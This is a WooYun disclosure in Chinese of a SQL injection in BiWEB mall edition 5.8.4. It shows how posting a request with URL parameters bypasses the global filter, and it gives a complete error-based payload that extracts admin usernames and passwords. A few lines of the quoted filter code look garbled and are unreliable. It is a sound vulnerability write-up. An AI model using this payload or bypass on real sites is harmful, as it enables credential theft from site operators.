当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085303

漏洞标题:BiWEB最新商城版绕过过滤字符型注入一枚

相关厂商:BiWEB

漏洞作者: 路人甲

提交时间:2014-12-02 17:02

修复时间:2015-03-02 17:04

公开时间:2015-03-02 17:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

BiWEB最新商城版绕过过滤字符型注入一枚

详细说明:

在wooyun上看到了有人提了BiWEB的一个XSS漏洞: WooYun: BIWEB商城版XSS盲打cookie ,也有人提了SQL注入,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。
注入点在http://192.168.0.107/brand/list.php?brand_id=1,其中brand_id存在注入漏洞
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤filtrate.inc.php

<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>


filtrateData()方法的实现见下面

/**
* filtrateData($ParamValue)
* 作 用:递归去除所有值两边的空白
* @author Arthur <[email protected]>
* @param $ParamValue (需要过滤空白的数据)
* @param array $arrHtml (不需要过滤的数据key组成的数组)
* @return 去除空白之后的数据
* 备 注:无
*/
static function filtrateData(&$ParamValue,$arrHtml){
if (is_array($ParamValue)){
foreach ($ParamValue as $key=>$value){
if(is_array($value)){
check::filtrateData($value,$arrHtml);
}else{
if(v === 'v' || v === '' || strpos(p,v)) exit;
if($key === 'v') {
echo v;exit;
}
if(count($arrHtml)){
if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value);
else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
}else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
}
}
}else{
$ParamValue = trim($ParamValue);
}
}


这个过滤方法中,如果是POST方法就只对通过POST提交的用户数据进行过滤,GET方法同理。突然就想到一个方法,REQUEST_METHOD还是 POST,但是在url中带入用户数据(GET方法),然后程序中用$_GET数组来获取数据的话,那就可以获得通过url提交的数据,并且没有经过全局 过滤,这样就绕过了全局过滤。
在/product/block/child_type.php中

无关代码
/**
* 品牌类别block文件
*
* @author Arthur([email protected])
* @copyright (c) 2006 by bizeway.com
* @version $Id$
* @package ArthurXF
* @subpackage product
*/
if (is_object($objWebInit)) {
if(!isset($objproduct)){
include_once(__WEB_ROOT.'/product/class/product.class.php');
include_once(__WEB_ROOT.'/product/config/var.inc.php');
$objproduct =& new product();
$objproduct->setDBG($arrGPdoDB);
if(is_object($objWebInit->db)) $objproduct->db = $objWebInit->db;
else $objproduct->db();
}
$arrTopInfo = array();
$arrTopInfo = $objproduct->getTypeTileWithBrand("where t2.brand_id = '$_GET[brand_id]'",' ORDER BY t1.initial');
//print_r($arrTopInfo);
// 输出到模板
$arrMOutput["smarty_assign"]['arrChildType'] = $arrTopInfo;
}
无关代码


继续去看看getTypeTileWithBrand(),在/product/class/product.class.php中

function getTypeTileWithBrand($where=null,$order=null){
$strSQL = "SELECT t1.*,count(t2.type_id) as nums FROM $this->tablename2 as t2 LEFT JOIN $this->tablename1 as t1 ON t1.type_id=t2.type_id ".$where." GROUP BY t2.type_id".$order;
$rs = $this->db->query($strSQL);
return $rs->fetchall();
}


可以看出,整个过程中没有其他的过滤,只要可以绕过全局过滤,就可以注入。
如果按正常的情况使用GET提交,单引号被全局过滤编码,如下:

单引号被编码副本.jpg


把GET方法改为POST提交,成功引入单引号,如下:

单引号成功引入副本.jpg


成功注入,管理员用户名及密码如下图中所示:

注入成功副本.jpg


payload如下

http://xxx.com/brand/list.php?brand_id=1'/**/or/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x23,(select/**/concat(user_name,0x23,password,0x23)from/**/biweb_user/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/or/**/'

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝